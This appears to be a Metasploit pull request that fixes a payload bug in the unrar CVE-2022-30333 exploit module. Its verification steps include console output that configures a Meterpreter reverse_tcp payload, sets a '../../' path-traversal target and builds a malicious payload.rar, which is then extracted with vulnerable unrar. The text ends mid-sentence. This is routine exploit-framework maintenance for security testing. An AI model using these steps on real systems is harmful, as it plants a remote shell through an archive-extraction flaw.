Fix a payload bug in unrar_cve_2022_30333

[rbowes-r7]

I'm not sure why, but setting Space messes things up. This fixes https://github.com/rapid7/metasploit-framework/issues/16924

Verification

Run the exploit:

msf6 > use exploit/linux/fileformat/unrar_cve_2022_30333                                                                            
[*] No payload configured, defaulting to linux/x64/meterpreter/reverse_tcp
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set LHOST 10.0.0.146                                                          
LHOST => 10.0.0.146
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > set TARGET_PATH ../../../../../../../../tmp/evil                              
TARGET_PATH => ../../../../../../../../tmp/evil
msf6 exploit(linux/fileformat/unrar_cve_2022_30333) > exploit
                                                                 
[*] Target filename: ../../../../../../../../tmp/evil
[+] payload.rar stored at /home/ron/.msf4/local/payload.rar

Unrar the payload.rar file with Unrar 6.11 or earlier:

ron@fedora ~/.msf4/local $ ~/tools/unrar/unrar x -o+ ./payload.rar

The start of the file should be the payload (followed by random junk):
